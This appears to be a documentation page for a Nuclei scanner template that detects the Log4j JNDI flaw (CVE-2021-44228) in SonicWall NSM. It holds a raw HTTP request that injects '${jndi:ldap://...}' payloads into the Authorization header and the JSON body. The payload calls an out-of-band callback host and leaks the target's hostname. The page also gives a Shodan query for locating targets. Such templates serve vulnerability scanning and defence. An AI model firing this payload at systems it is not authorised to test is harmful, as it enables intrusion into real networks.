Skip to content
Nuclei Templates

Sonicwall NSM - Remote Code Execution (Apache Log4j)

ID: sonicwall-nsm-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev

Description

Section titled “Description”

Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.

YAML Source

Section titled “YAML Source”
id: sonicwall-nsm-log4j-rce


info:
  name: Sonicwall NSM - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.
  reference:
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:sonicwall:network_security_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"SonicWall Network Security"
    product: network_security_manager
    vendor: sonicwall
  tags: cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"


http:
  - raw:
      - |
        POST /api/sonicos/auth HTTP/1.1
        Host: {{Hostname}}
        X-Snwl-Timer: no-reset
        Authorization: Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/}", realm="[email protected]", uri="/api/sonicos/auth", algorithm=SHA-256
        Content-Type: application/json
        Accept: application/json, text/plain, /
        X-Snwl-Api-Scope: extended
        Origin: {{RootURL}}
        Referer: {{RootURL}}


        {"override":false,"snwl":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}"}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100c7e49b68e2d21f9cbc37f5871ce7418d6a29b78dee94863fc738f5f1ce8e4472022100ad3f89fee1cbf7383e8e64a21529add1e50e505a7adacc7ce8e261c82f42f6d3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/sonicwall-nsm-log4j-rce.yaml"

View on Github